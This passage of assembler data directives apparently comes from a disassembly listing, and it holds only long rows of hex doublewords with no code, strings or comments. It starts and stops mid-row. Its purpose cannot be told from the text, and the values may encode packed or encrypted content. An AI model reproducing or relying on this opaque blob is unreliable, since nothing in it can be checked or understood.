0D1B64DDEh, 1FEDFC93h dd 3058F726h, 2CF5B208h, 414F13F2h, 2257BFAEh, 756EA54h dd 47487D39h, 0DDAB1CB5h, 0FA01A580h, 0DC14335Fh, 1EDE0CCh dd 803C61E9h, 0EDC67C49h, 0CB99046h, 1B4C35Ah, 3ECC097h dd 0D480D4F6h, 0E24888F1h, 0B49F5CEDh, 0E50D88Bh, 4C4D9232h dd 4F7969B5h, 68930ADBh, 505A0716h, 2FA0D353h, 7BEE9302h dd 4101443Ah, 12BB02ECh, 0F3975207h, 0B9C2A89h, 0A416D11Ch dd 0BA2F8D9Ah, 0FF199E39h, 0AA64AE9h, 0C01F50F3h, 0E7705581h dd 0CB4467D9h, 0D0BDE4F3h, 586DBAA4h, 6FB05571h, 2E1B4413h dd 0C454B06h, 0F0BA042Eh, 0B82DA11Eh, 8325020Ch, 412AE768h dd 0D9D9F6CDh, 11204771h, 0C156526Ch, 493D649Eh, 0F733A864h dd 24F964E9h, 0EDE85085h, 850E290Bh, 0A6A47235h, 7131369h dd 845F0902h, 3D598799h, 8E801B1h, 5750C831h, 0C4DDEF44h dd 0E9B0023Ch, 0BFC08088h, 1F7F16EAh, 0C939962h, 0C51D3696h dd 4C1A380Bh, 112E8A7Eh, 6E763501h, 0D3E54B52h, 0F9C30161h dd 0ACB80D30h, 0DFC13051h, 0A704752Bh, 86682C54h, 8F62792Ch dd 9C17347h, 2E05D231h, 0FE7AE06Ah, 0B050CA00h, 5EB252EBh dd 8E20DC0h, 84F280h, 0CA6853D9h, 5D8C704Ah, 0B97640CEh dd 8E360517h, 0B03EAE0Bh, 0BC6DE9B6h, 525B09E7h, 7F16DD0Bh dd 0F52DE913h, 6094B29h, 0E91D6768h, 63292E4Eh, 642EF755h dd 725A7D5Dh, 0F2E9127Fh, 0A9E26407h, 2868C202h, 20385914h dd 20584525h, 0C80ABFB4h, 0C235CE68h, 23342792h, 1D5D58C1h dd 0DCFA9FECh, 9C81EEBh, 0C5E60C98h, 8084899Dh, 970E6D1Ah dd 140D319h, 213CFA7Fh, 0F58F40D5h, 922C0865h, 425BB18h dd 1EF905D7h, 87D64A7Ah, 4AC48E60h, 73BF007Ch, 3E108140h dd 4324FD31h, 1CB781D9h, 97DBCF80h, 640CED06h, 244A0639h dd 85F817E9h, 3109EC68h, 0E8585481h, 1A9F3BAFh, 7F719817h dd 0B8508042h, 0B7D2A00h, 1F12BF4Bh, 310C0B27h, 0D58B58C7h dd 0F7B0DE6Bh, 40333D50h, 3E5AC029h, 0F20F4A3Eh, 0FEE58D80h dd 65E9E052h, 141D530Dh, 704365Fh, 0F4BE02C1h, 45A4B802h dd 5355A821h, 655413F0h, 930CA9Ch, 560F68C3h, 574D3E44h dd 0EB5125BAh, 0A8700018h, 0C1731D07h, 0E1BA06E7h, 0BBF5016h dd 21812C13h, 5BA446E9h, 254622BFh, 3B9B09E7h, 7C68D2C9h dd 0C8B6A4F6h, 4CF79910h, 456B187Fh, 9C018B34h, 2CE15367h dd 0EA379238h, 0D27996E1h, 59B682E5h, 405FBF00h, 0DA146920h dd 0E6EF1C80h, 83F5A977h, 985CD0Ch, 1EEDE01Bh, 15441214h dd 4D3B101h, 0C2C91D08h, 55635496h, 56EBFE80h, 51E2C46h dd 7C4C26Bh, 0C01CC529h, 0EB43572Dh, 5D09EE21h, 4E6C146h dd 1E94AAF5h, 0EF18E340h, 0B558C601h, 94E95701h, 19512CCBh dd 3AE5BDFh, 0D330EFCDh, 5D714041h, 0DA52ADBEh, 0B4017127h dd 0AD006965h, 33ED3F42h, 6E06BD0Ah, 0CD07C8E3h, 0D839648Eh dd 42500903h, 0BF0007F9h, 2C8A1720h, 4AD53158h, 3E9C421h dd 344C4378h, 3C7E83A2h, 0C2C92E3Eh, 38DD2587h, 7E0C141h dd 39CD108Fh, 0C5362D83h, 0F47C21E3h, 0A63E2190h, 63DFD93Fh dd 0E902A022h, 3A8F7705h, 56EFD829h, 2D13BEACh, 1A1AE433h dd 0F286DF0h, 5B27DA3Ch, 68E15DF7h, 367019D0h, 0D701800Bh dd 278988A0h, 0D4FA3D7Ah, 965A6849h, 2141A72h, 0C102342Ch dd 45D578EDh, 0FDA30001h, 5150B05Dh, 4C18D69Dh, 8B243877h dd 92757739h, 80541706h, 19FC591h, 128B6B4h, 47DFD462h dd 0E905F0A0h, 3D2FA520h, 0A297F1BEh, 1EB8090Dh, 0D2C5DB1Ah dd 7025E904h, 877C8801h, 65C2E501h, 4D636726h, 0FA089627h dd 0DF680530h, 5377400Dh dd 0D7F607B7h, 0BC6FE913h, 9BD7088h, 7E533DD2h, 5050328Bh dd 721161E9h, 0C06E4D79h, 0FDE95056h, 0D847CCE7h, 7A9E1CCEh dd 2ABB7262h, 843F018Dh, 0F4CD89FEh, 0BBA82B93h, 58C003EAh dd 0EB36EDA2h, 5AD70989h, 4890F821h, 3FB4C5C3h, 0C1115E47h dd 193F06E5h, 7C050C3Dh, 0A39F006Ah, 0D689647Eh, 0BE1532E9h dd 0A556F27Fh, 29593CA4h, 0CDED8741h, 11715A02h, 6C0266A6h dd 7E79CC7Eh, 0EA72869h, 2E9D59AAh, 765342DEh, 10403121h dd 630B9B51h, 2E91E9CFh, 0BAF1A6CAh, 428C9658h, 74648E68h dd 3000535Ah, 670D4048h, 2B87E6Eh, 6545512Dh, 36C22963h dd 99AF25D1h, 0BE08FEE8h, 0C28067C3h, 58C5C276h, 0ACBD05CDh dd 4071D0Dh, 12DC4FD6h, 89A21985h, 4B3B606h, 0DB5C90D1h dd 3768A0BEh, 0BC95B13Fh, 8835C712h, 8049E9B3h, 87591A49h dd 42F75C5Bh, 7AF11599h, 894B732Eh, 421D7919h, 2DF01FE9h dd 431E0504h, 0F1846089h, 8ECDE5D4h, 7A59DE38h, 5220E93Ah dd 2723C980h, 1101512h, 8066EB1h, 164E0B1Ch, 0B804380Ah dd 0AD0ED096h, 20707F83h, 0B0840F38h, 77EE4B11h, 68713031h dd 0E85DD20Ch, 330D6140h, 0C6D48959h, 6C770CF9h, 120FD19Bh dd 4B015FFEh, 38FA2FA9h, 91F38160h, 569CBF65h, 18BE9C57h dd 5EF74508h, 213A8BE7h, 0AC056CF0h, 4E5148F2h, 0B1485907h dd 0C0E9F44Dh, 0C83C13Dh, 171FCE3Ch, 0D98C5ECFh, 2DCF9C08h dd 17350230h, 0C6A818B7h, 9C6B0761h, 80DEF74Fh, 39324EF6h dd 89619758h, 295F2566h, 0DAF01900h, 56019E88h, 0E913ECF5h dd 0D4EC87B7h, 4C9AE054h, 0F6C2039Fh, 4C0450D2h, 414A4B99h dd 0E6483729h, 80C307Ah, 75FF4FCh, 80C24228h, 0BDD32C3Ch dd 27EACB40h, 0FC342851h, 2CDD9465h, 7D96149Ah, 5DCA2438h dd 16B99AEEh, 0C600D4DBh, 0AF66FD99h, 20772B09h, 2BCD69C1h dd 0B909CD20h, 37177Eh, 0AD3AC041h, 0B2AB865h, 1B74A92Bh dd 6F0125A0h, 52585D20h, 2A39005Ch, 0F7931643h, 6E8EE7D0h dd 5DCB2B65h, 0D205D1Ch, 10326631h, 86000630h, 885366E2h dd 1DD3F6E3h, 0DE505152h, 58C14FD8h, 2059CE86h, 0DC16F37Bh dd 0A9105A5Bh, 51501F1Ch, 0D9306A6h, 24511A99h, 7B3C3966h dd 4EDE4DDEh, 9A115199h, 5D97259h, 49233B50h, 0EC9130C1h dd 536B8636h, 391CCA8Bh, 0A59C7BBAh, 0E2835BB8h, 0F9FFB153h dd 82BE242Bh, 0AD00031Bh, 9743EF68h, 70C03818h, 0E93E910Bh dd 16D2257h, 80F689CEh, 592E1D1Dh, 3148CD33h, 0E90D8B06h dd 0BF446175h, 0B22D4C40h, 0BC93A5Dh, 5C6D4B80h, 4DB0E967h dd 81D45081h, 0C27FF251h, 5456583Bh, 0C4EA8A4Bh, 706BBE79h dd 0DC534B97h, 3BA8BB61h, 305378Dh, 5D80156h, 0A900716h dd 0B0C8855Ch, 0B7BA2004h, 0A5F35E04h, 3BC16203h, 2B38654Ch dd 0D092159Eh, 0D5C8891Fh, 3B49AB9Fh, 0BDAB284Eh, 0E2268998h dd 0D103A11Ch, 121F195Fh, 0F5FA41B6h, 0E456D182h, 559EDA32h dd 0A24C5759h, 5FF80401h, 0BD6D2AE9h, 34B1D6C6h, 0A9B46F3Ch dd 5874040Ch, 76C34732h, 8872BB07h, 822F17E9h, 0B61C8156h dd 2A68093Ah, 15A97934h, 71518E2Ch, 1F61BDF8h, 4A594AC3h dd 82B44C98h, 5BBA8E72h, 0DFB0F258h, 0C10FCF90h, 70D67FC8h dd 45B3E938h, 4A505230h, 7D5F0B4Bh, 2F45B152h, 0CCED2C9Dh dd 0E7C0A680h, 0C739FE05h, 50A3880h, 1C8B5BF8h, 0E9C3BEB2h dd 0B127350h, 35A3B6CEh, 5E546A62h, 0E9E2E8D1h, 272B5C12h dd 7442210Bh, 57937EC5h, 74823C03h, 0DF580598h, 0D0B1E95Bh dd 0C00BB2EAh, 8005E21Ch, 0D7D0A4CEh, 78003113h, 28585AD3h dd 6AE913DDh, 1273B670h, 2D16E789h, 0C3294345h, 31852FA2h dd 0CF1C8FBh, 252BD40h, 477D4A68h, 1BC45A3Fh, 0FBC25EEAh dd 0DEF1AEE9h, 5CB48237h, 2EBAE788h, 0C7007EF6h, 0E9FA3006h dd 0A3496360h, 0E0D70459h, 0B551C9EBh, 8A5F7B7Fh, 0F0B80300h dd 0F475375Ah, 570E492Dh, 0C75BD81Dh, 34C72102h, 0D309EC55h dd 0E9C221F6h, 8AF93CB8h, 0FBA0AEABh, 8B60544Ch, 24FD50DDh dd 1649F988h, 24FCE31Dh, 6884B554h, 1EB8426Bh, 4C1BADC5h dd 0E428DFF4h, 24085A80h, 183C5BFEh, 0F6800DD0h, 0F5303F03h dd 764C31E9h, 63E02B1h, 0D9292132h, 3BF9C58Dh, 0A94F2E25h dd 825109C8h, 0DE770732h, 699E956h, 0DDB61488h, 4643EF21h dd 1691E2Eh, 0EF5A5C57h, 0C92FA4E5h, 92A36EFh, 73055B6Ch dd 849AB202h, 99EC05E9h, 0A35D5412h, 0A3D1D2D5h, 61285C65h dd 616EB2C6h, 4A9304B2h, 49148709h, 0B4343B4Fh, 51D540D0h dd 7A2046B0h, 22574AD1h, 0E9383C6Fh, 9146604Eh, 0F48DBEF5h dd 60B86C04h, 0D9A882EDh, 7C92CF20h, 0A50AFFA3h, 0FA6D1B68h dd 5CB4C7C2h, 54496408h, 1E588526h, 0AB6F9ACAh, 6727DFE8h dd 5CEDB286h, 83A5A82h, 0E3F82802h, 0EA82CA13h, 0AB0B84C8h dd 0D17E40B4h, 493DE93h, 1DDCB208h, 8117BE9Bh, 0D260EE29h dd 62DDBC02h, 87FAB665h, 0CC0B890h, 0C09BCB80h, 0E60376EBh dd 0C728486Fh, 42A26813h, 3AD1E9C1h, 20FDD449h, 31454BFh dd 5BC114C6h, 27E9B7DCh, 719020C2h, 384B6568h, 5046D31h dd 2B8B54Ch, 6EE32ED7h, 0AD49A5E9h, 0E2BAD4BEh, 0D6146F4Ah dd 8E72586Eh, 33E9CF29h, 7ABD19A0h, 2516151Bh, 686B7E68h dd 0C9778602h, 0FADA7A2Bh, 2502BB71h, 0BED0DC0h, 0A30266BBh dd 0DA457F2Bh, 79860B28h, 0AF842565h, 3C8016E6h, 0E5571CE3h dd 9610B461h, 70B65259h, 39ECE5F1h, 6B1BBC19h, 0E76BB22Eh dd 44B30F9h, 0E4E4DAB7h, 0EA160B4Ch, 57005A7Bh, 0E216D2Fh dd 0A8CB293Fh, 879B08EBh, 23BCAA2Ah, 204A52C2h, 9D5165C1h dd 9FA301F2h, 5D0809F5h, 0C3B61C04h, 0F6E841DFh, 0F5094014h dd 4151E90Ah, 88383343h, 2A19C99Eh, 24049A24h, 0F9F09C12h dd 59B3402Bh, 2117D093h, 0AE97CE0h, 46FE6806h, 5AD9A41Ch dd 7A50BB20h, 82A11D0Ah, 680740F2h, 289129FDh, 0CCD5A5B9h dd 0E6E91384h, 0B91D49D8h, 88056490h, 4A5B5300h, 10AAA2Dh dd 0CAA59821h, 46D25D2Bh, 0C733E7D3h, 0B24F1AB2h, 8361FEE7h dd 0EB0CA2BAh, 0D4F4B497h, 43CD5D2h, 123DF77Dh, 7119D9E2h dd 25D8813Bh, 6992EB0Dh, 0F604B464h, 0A7D4E79Ah, 2912ECB7h dd 1663166Fh, 0CA7EE01Fh, 2280E0Bh, 6AAD865Fh, 0CB1C20EDh dd 22BFA797h, 60541AA8h, 799475CAh, 0B5DAE916h, 380F7645h dd 5188E2FDh, 6B4AF93Eh, 0FD2DF49Ah, 734FF862h, 0D091AA9h dd 97377946h, 0D3DEE3h, 0AE8C15Ch, 5D97C831h, 2956B157h dd 0E625E91Dh, 5ADA53C1h, 1EF24A70h, 1B40CC90h, 0A30C4DD2h dd 4B1DB10h, 279F6850h, 8AB5F2F8h, 18052F75h, 12F9CBCh dd 0E281462Ah, 20697301h, 0EA638E96h, 0BB028F58h, 9E6743A8h dd 0E9C23091h, 0FF014599h, 79E13877h, 0BE02772Ch, 0A565F009h dd 7EE7EE78h, 202EFC54h, 615C615Ah, 0C5781358h, 54560101h dd 80B7A260h, 44EE5553h, 0F21020BDh, 0B612FB80h, 0E45A13E8h dd 0E92D522Ch, 7E8AB3Fh, 5B9379DEh, 50132E0Bh, 2D0C2A16h dd 0E3A66855h, 2B40265Dh, 5EB4F84Ah, 662CCC79h, 0AF0424Ah dd 281A09E6h, 7F007E90h, 69B27A58h, 605FE925h, 98F13136h dd 0F2C90CF9h, 0A9928370h, 2C9D3B4Eh, 49C533Fh, 0C9434881h dd 9591A049h, 67CDDD4Ah, 0F84A8D2Ah, 0FC9859CEh, 31E95E40h dd 0FBB11711h, 721C305Fh, 0F42A4C24h, 14338A09h, 0C5A79E34h dd 0FE6CB013h, 0E59BC251h dd 80A324A0h, 0EBBAE127h, 59087ED9h, 874FD866h, 0E1768418h dd 84A32898h, 5209D844h, 6E3D8EBBh, 75688250h, 0F063E425h dd 0DA8F0117h, 0D0899C1Bh, 0CBA1CEE9h, 666EFA68h, 90022FB5h dd 1D2F4BF3h, 0AC016C30h, 260820B0h, 0A509B1E9h, 0D1084853h dd 0AB0D014Fh, 2B44105Fh, 0A9D460C9h, 5DC2352Bh, 3E59A94Eh dd 84995D64h, 0C55029B1h, 8B4B3907h, 225AB32h, 0F0A5804h dd 0AC2E28DEh, 63095748h, 826BEAD7h, 4C545102h, 40E91807h dd 34C65F4Bh, 0B52B9800h, 15EF029h, 5C0505F8h, 8432F215h dd 0B10A9051h, 0E112287Fh, 795D6658h, 8A8A52F2h, 4938E52Ch dd 0D3F7162Eh, 0C275BE0Fh, 442968C0h, 0ECE91830h, 5F5B9EC2h dd 0DE9612BDh, 65767AE0h, 5B296AA7h, 0E95383E4h, 5202EDA3h dd 4777EB2Dh, 60174258h, 93EADD5h, 0D6F720B1h, 4BB0A100h dd 0CC06783h, 0E08AFD09h, 22F04C01h, 673BB9C0h, 292443D6h dd 191376CAh, 8EF86B75h, 6894985Fh, 0E2936671h, 75C42081h dd 0F265F6E9h, 0B4FC123Eh, 0D15E98ACh, 54556C70h, 1068165Dh dd 0BB003073h, 6E725BBAh, 0DFEBC128h, 2328A20h, 0AD3350BFh dd 75608147h, 11482B0Ch, 6ECD0558h, 8200482Dh, 8B2170A1h dd 5EF73A29h, 0B45FFE92h, 0DF4ED10Eh, 0D437BFD2h, 0DB253C8Bh dd 94157C24h, 0C8F5C44Bh, 0AE60D10Ah, 44CCEFBBh, 74126B22h dd 0AA08A01h, 19852F59h, 0CE5D0CE3h, 64AEB085h, 9249F27Eh dd 391731B2h, 0CD68891Ah, 0F0303AE7h, 0EC0B850h, 0E96FD90Bh dd 965DBFDAh, 3BE85981h, 7EEBD01h, 0EA0949B7h, 6820C760h dd 6BA04082h, 850F8024h, 0FDC0E02Ch, 9906B18Bh, 0E90083C3h dd 0E8951357h, 25D908CFh, 2AD0781Eh, 0C803E44Bh, 0B03063B2h dd 1FC5805Ah, 0DAE828EEh, 494039D3h, 43135EEAh, 6FA23F50h dd 0E9D121C0h, 69C0478Fh, 0DE5605F2h, 0D21AD132h, 0BC598F44h dd 6DB12788h, 16D201F9h, 6086EE11h, 7C902B1Fh, 0EE505E25h dd 0C38B58BFh, 3C0EA3C0h, 0C65D682Ch, 91E9164Ah, 0EEF71AF4h dd 8119C084h, 25342FCEh, 1EFC6658h, 0E380ACB7h, 69E9D631h dd 0EC24BAE5h, 34EB5AFBh, 9C23A01Dh, 62345D01h, 6FA2CA81h dd 5E9763F1h, 14FC8FFh, 6E4DDF7Ah, 0C62807B9h, 0F3055866h dd 0A6C3AF04h, 3B756191h, 3C251072h, 615C9000h, 582F7D69h dd 0A7236D51h, 7B0B1C0Fh, 0C007B650h, 0C78007E7h, 0CCF93092h dd 2CE9F693h, 3B4D2860h, 0D89DF6BAh, 0EABA3E2Ch, 6425723Bh dd 0B707D814h, 94B151F5h, 306F3A0Dh, 80E8B54Fh, 0FEC7ED09h dd 0DC4705CDh, 5C014FF0h, 0D4B486C2h, 52EAC23Bh, 2834820Fh dd 4BABC0F8h, 0DFB297B7h, 56C2AF40h, 2925111Dh, 8ED28BCh dd 0F689585Bh, 7DB06124h, 2837B823h, 1C205EA9h, 0CFB8D861h dd 0A7A9EE29h, 0F280915Eh, 251DC9D4h, 8BD01601h, 0C2FDF714h dd 4B6F77E9h, 0D04DB25Dh, 0E3C01830h, 80060605h, 88EDF312h dd 9C9F19E9h, 0B050C3E1h, 0F6B8FE27h, 7834E9D8h, 39678AADh dd 5465EDD2h, 0C1824050h, 188738Ah, 4F49B8CFh, 0B621401Ah dd 19685302h, 0B0E4494Ah, 224E5B57h, 3DD1AFE6h, 56AC4B09h dd 0B105928Bh, 53D12AC8h, 5B03664Eh, 57A19E44h, 0AAF94E9Dh dd 6BB0DCB7h, 0AF220910h, 0C6E6209Dh, 0F64B4F91h, 15B40B5h dd 0FD8C82BFh, 0D695CA5Fh, 0FA097946h, 0FF52122h, 5E5B0B85h dd 0C44FD6D2h, 8F848160h, 78617B2Eh, 20411858h, 5E00ABD4h dd 0EF90DBF7h, 0D809BF0Eh, 0EEC3C050h, 0B8EF67F6h, 6C6002B2h dd 0DA011B93h, 8027162h, 19486DE9h, 0A00BB753h, 0C308EFC0h dd 2FD9AA40h, 9406B3C4h, 52B50305h, 0EC95DA88h, 0CBEE73ABh dd 124CE915h, 64C23785h, 0DFE841E3h, 0A5A980D6h, 7926BC98h dd 0FA25BEC1h, 5CF0C144h, 0EED121BFh, 96B215Dh, 3404EBAh dd 0CCEBE2C1h, 769007EAh, 29227F09h, 1BD0A6Bh, 2028C4ADh dd 881C072Bh, 0E3C359CCh, 0FB548A58h, 5D5CD202h, 0C7D12A0Bh dd 0B17CC23Dh, 8DC50727h, 0C20162Fh, 682DB301h, 1C51E97Fh dd 2CDEA7A4h, 461A00B1h, 0C3016726h, 80CC3A2h, 0DD4FE9FDh dd 4AE7EB17h, 2E82E78h, 0D2205B66h, 393FB1F5h, 954450D0h dd 2B896329h, 62D6A100h, 0F71E26E0h, 1FFA87D9h, 34F931D7h dd 0D4C008CFh, 0A1E68ECh, 0D995E922h, 71056FCCh, 0C466E8E0h dd 36881958h, 30AA419Eh, 12738A26h, 52D5C48h, 576C26CDh dd 7701C31Fh, 5F6838B1h, 0B90A8C3Bh, 974ED905h, 8FF8318Ch dd 0A807D312h, 0C9B0D6A1h, 0EBCD6B5Bh, 0DA255278h, 81175958h dd 4ED34701h, 7AB9F85Bh, 0DB607BB4h, 0C173C145h, 63D9D7E2h dd 5D43204Bh, 34F93503h, 0FAE9DA29h, 2C2CE42Bh, 0CC7CCC3Bh dd 0E0F853AAh, 0DACD015Bh, 5D2C1945h, 0C0D84E30h, 60CD6834h dd 35959097h, 0FBF63080h, 0F0302506h, 22F9449Dh, 5CD205B3h dd 560C908Ah, 59A5E2E9h, 0D652DA96h, 6BBB422Dh, 93C28803h dd 5AB4CAD3h, 7BC107F5h, 6F371101h, 0C45F7D80h, 0D99631CBh dd 59D21D09h, 0C712328Ch, 5F16AA50h, 8CCAFB01h, 7AC4532Dh dd 0D2C0B029h, 0AB731ABCh, 4CF56111h, 9F2BFB35h, 1B104A9Dh dd 32D04D6h, 9E802145h, 607E54CBh, 0AE5E0C0Dh, 0AFBE13C6h dd 3302A22Ch, 0DC09CD64h, 94E9057Ah, 0F58D3430h, 4856417Eh dd 8295AFA9h, 0BE16B57h, 3C06E88Fh, 314BF15Fh, 4BB9A1D4h dd 1105385h, 0D42EF75Eh, 0E3F1315Eh, 0C081895h, 264F038Fh dd 4A588E82h, 7283A9Fh, 0B08F72Bh, 9A07C159h, 45793081h dd 0D5A0221Bh, 3F0E8426h, 0E6CE0178h, 124EFC39h, 63635D68h dd 30908576h, 0D65A0194h, 0AE8469CDh, 0A16F3538h, 11A2B507h dd 134AE8CBh, 0E981600Bh, 8DAB2869h, 7DCD54E3h, 0EBD12AE4h dd 0C40448E7h, 5D26B0DDh, 4B7DE995h, 9953BB64h, 0D468885Dh dd 7CEF224Bh, 0B85003CAh, 7A4DE0FFh, 22FED12Dh, 0DC0D7807h dd 851B450Ah, 0F191C37Eh, 0C73002EDh, 6AFB0B9Dh, 218E297Ah dd 4350D74Bh, 0E7FA25B7h, 4044E49Ch, 1603BEB8h, 4E617725h dd 70B2E257h, 0D8280FC2h, 0D0A4B151h, 0D53484E1h, 0ED9FFC29h dd 5328F836h, 0DA1C4140h, 0A7B32E48h, 76BA18EEh, 3FD6BF05h dd 4FC2197Eh, 2105001Dh, 18391528h, 0ABB35h, 48E8D155h dd 12DD8F7h, 93CDBB7Bh, 0C3E9C689h, 0B002A8BEh, 0CC8FEF9h dd 0B51C1BAh, 20DDF701h, 82BA622Ah, 52E85960h, 7EFE75B2h dd 0F6FC20C2h, 8B895CB1h, 2652532Ch, 8A608A8h, 69D85E16h dd 0C1074464h, 5B19A095h, 981C4F09h, 0A77D3333h, 0C0A8B560h dd 801703E5h, 0EFBF5h, 68D80259h, 90BFF8D1h, 8D674B53h dd 55192419h, 395ABD09h, 0C58F8164h, 3FC85872h, 0FAD55DF7h dd 0DAF5871Dh, 0F60B08D6h, 0F24A74E2h, 0B154D4F6h, 0A0E961DAh dd 251C2901h, 0CC3C43F7h, 40AA54E0h, 82000D41h, 543C247h dd 6714C4h, 10592D7Bh, 33E9CCFBh, 81830848h, 34DA64C2h dd 9E68FDEDh, 195F465Bh, 0EE059345h, 8B16F6B7h, 0A2B9B285h dd 0E9F20114h, 41BEC24Ah, 8B28B60h, 291D6017h, 0E9500202h dd 5C04487Bh, 0A2BE2856h, 254B7CF2h, 91D2216Fh, 0B951F01Eh dd 0B7EC6CCAh, 2718DD08h, 99BD5346h, 9F255424h, 16D35B62h dd 0B95B2DDDh, 9139DF3Dh, 343AE3CDh, 5889A2EDh, 0E958059Bh dd 0B8FD371Ah, 43F54Ah, 6D364E85h, 0CA010A16h, 0C08EF10h dd 0DAD68959h, 0DAE918EEh, 5FFD6F3Ch, 34094D58h, 10C1513Bh dd 1228A638h, 0C05CD69Fh, 6404AC0Fh, 149D8C90h, 9FB200A6h dd 0E93BC280h, 41C9E6E7h dd 0AA196C0Ch, 0DC30689h, 0ED810265h, 2B6D187Fh, 2BE04E61h dd 14777741h, 3ED7CC9h, 0A05AA264h, 0F4555EF1h, 9589E56h dd 91055B04h, 436C52Ch, 14B5F2A4h, 4D310786h, 0D6BF0F62h dd 95B124Eh, 4BE479CBh, 961580Ah, 752A5753h, 5DB42884h dd 6B82B244h, 6E41F30Bh, 253339D3h, 788A2BC2h, 3D39060h dd 78D14863h, 94FCE940h, 68EF308Bh, 0C99D0693h, 5C0254D0h dd 0A3C172C0h, 12382C3Eh, 3A293A98h, 16C2CA2Ah, 42B3A562h dd 441A8004h, 4F78258h, 573EA480h, 0E976674Bh, 680E31B2h dd 13053947h, 6A3EFD72h, 9F95CF1h, 0BE7965EEh, 29CEE5ADh dd 6855605Dh, 0DC147D9Fh, 6EE5D31h, 114151DDh, 9F81B590h dd 2095E102h, 0A75E613Bh, 53D88790h, 34647BB3h, 0F816F0A2h dd 84F788Fh, 1EBA5484h, 6AD50886h, 0F6BD5D13h, 7AC23196h dd 188E3E20h, 4B15F74Eh, 555407E6h, 8BEA9408h, 0FC4EA4B4h dd 50F82A90h, 0D108AF09h, 0CB9704EFh, 0BE52AC04h, 0A2EA9328h dd 63CA7432h, 0BF94DBE9h, 0E43B2F77h, 0D8BE20EEh, 84AA89B5h dd 660122BFh, 0D12DD4BBh, 1AB9D851h, 9251D7Ah, 2DF6D0CBh dd 6E0D3F7h, 10CF36D2h, 0F681A1DEh, 0A8F77E0h, 0FB0C1E6h dd 0EC13B6CEh, 3EEE0E46h, 292DBEBFh, 49CF34E3h, 0B54B47F8h dd 0BADE6E1Bh, 25DCF47Fh, 839F6153h, 0E9D1613Bh, 0CC5053DCh dd 0E652C188h, 5299F6CAh, 9604BE1Bh, 8020805Eh, 8A0EBB52h dd 101E30F5h, 831BB895h, 0B328EDEBh, 275780C6h, 0DDAFEF04h dd 2EF129EDh, 33AC12Bh, 43BA00F1h, 2ECC4C61h, 20CEA83Bh dd 1C77092Dh, 6810FBBAh, 5A641986h, 4E20FE62h, 0F618E8C1h dd 0CF3860F8h, 232C40B9h, 0D422757Bh, 12C7090Fh, 0B9506930h dd 354B3DFAh, 262AF1B6h, 60D899E8h, 0A561795h, 80E941B8h dd 0C112D512h, 9FEDD128h, 1D660BE8h, 0E9CED60Ch, 98AC772Eh dd 944AF05Ah, 128B2416h, 68A0C17Dh, 5B8D3C32h, 0D8E54197h dd 5189E5BDh, 1709AC73h, 0B35398EEh, 0BF52F429h, 0FEC5D509h dd 263D4C36h, 80C64EE9h, 941573BDh, 0EA2F0122h, 6C3B255Dh dd 0F8E3C994h, 91D7668Fh, 6A2FBD6h, 78327814h, 0DD4797F3h dd 510906A2h, 5EF6E952h, 0DC7B27AFh, 1F9D2C3Eh, 525FA4h dd 7C4489E6h, 9429076h, 4A0B296Ch, 21FF5258h, 67FA646h dd 7ECD6889h, 0F991C68Bh, 0B4FA42FFh, 0E60408C4h, 1CED2F62h dd 2144BC80h, 5A5B922Ch, 1024A30Bh, 66252F57h, 554053F0h dd 9FD37809h, 0B018844h, 0E96E9D50h, 8D35D664h, 7A11822Ah dd 0D118E67Ah, 8108D2F7h, 0AB2005F1h, 88019280h, 0E62DE975h dd 0A25EA221h, 5CD3E9ECh, 0B55B7830h, 0D112766Eh, 72043E69h dd 82D0D7C5h, 0FA563ACBh, 0F74B121Ah, 833806DBh, 0F101F520h dd 0DCD5DADh, 59EC4F89h, 986F7FC1h, 0A4778FAh, 50DA5F73h dd 80C512D5h, 2EFC00Bh, 0A5738073h, 2886C701h, 0E36DE9F8h dd 1CA2B87Ch, 27927C3Ah, 0E98A9367h, 0FBA08FB8h, 1714F377h dd 9EAC6148h, 676C9542h, 0B889550Eh, 0D8123CF3h, 9659E3B0h dd 6FB2468h, 2A0C2AFDh, 614DF707h, 0E7606866h, 0E013014Ch dd 490EC447h, 0AF9FC424h, 56524705h, 275982h, 50C32859h dd 0F6FCB009h, 855909D8h, 708DD1E1h, 16800020h, 0C4267706h dd 520C80D0h, 2F4C4BBAh, 0D50901D8h, 315685Ah, 4DE1302Ah dd 0D6044ABAh, 8BE9F531h, 0CFDE3B1h, 8014246Eh, 8C6852CEh dd 32027316h, 0D8E4AAD1h, 0B1CCB700h, 0EB806E24h, 66F2253Eh dd 0F81EA0F3h, 0C44495A5h, 2FFD4E12h, 0D92F5FF1h, 45C880D0h dd 0BB198B69h, 1A0B797Ah, 6EB315Dh, 4E97181h, 0C1DD68A1h dd 4BE22984h, 457A5C9Ch, 14374E6h, 0C8A3FBD6h, 536B92C0h dd 0EDCDE07h, 1B852A45h, 0F9033312h, 0FC29AADBh, 0E8798F82h dd 1F62B860h, 491E8E6Ah, 0CB6658C2h, 3814E181h, 4F8D90B5h dd 868D2F12h, 0F9129326h, 4E55D026h, 55018847h, 3932EB81h dd 0AE9D0E14h, 0A2741F18h, 809CEEFEh, 3CA411C9h, 0E7569900h dd 27090E4Fh, 104904C8h, 34776680h, 0C7C60EDh, 0A1FB30E8h dd 293204B7h, 7A8C52C5h, 0A7A99B59h, 4C093CE7h, 0DF85AEA0h dd 6880C56Ch, 1FC94E1Ah, 442D0058h, 89B419D9h, 5378E9C5h dd 0E0CE9B5h, 0F60C7ACCh, 97E79AAAh, 0CF48414Ch, 850260Fh dd 80C2FE81h, 9CE92AF2h, 9EBB6C34h, 707A6095h, 29342730h dd 80BE0DFh, 0F689B25Bh, 0EBE985BAh, 8491AD26h, 7CEC5F54h dd 2A80BECFh, 0E6C1185Ah, 714E052Eh, 0CB42081Dh, 70E8E963h dd 2C3329E0h, 21299795h, 59FBDF7h, 27DB61B8h, 85A7E2F2h dd 152F6357h, 0AC1C70Eh, 0C1066E3Ch, 0B04A6FC9h, 0FB8DAC89h dd 74503DA7h, 2589A8BCh, 0E1FF7966h, 635A40E9h, 2BB84E0Dh dd 0E70E4213h, 0A56B34C0h, 38844BECh, 0DEADEC4Eh, 99E2BE4Bh dd 97433374h, 0C066831h, 5766B27Dh, 3D9A1A9h, 54BA7CC2h dd 7989BE97h, 7C0B62A3h, 1D700C02h, 10C20AC0h, 8932B72Fh dd 0FDB401B1h, 0EC43E204h, 50D7995Bh, 7AC4E8h, 762D7386h dd 0E9089C32h, 42E92854h, 2702CBB0h, 89C0B8FBh, 9CFF74D1h dd 0E23692E9h, 2E680BA5h, 883B5909h, 842D6177h, 0D4C0CDE8h dd 7F0A1D01h, 0A67E2571h, 0A7E8A218h, 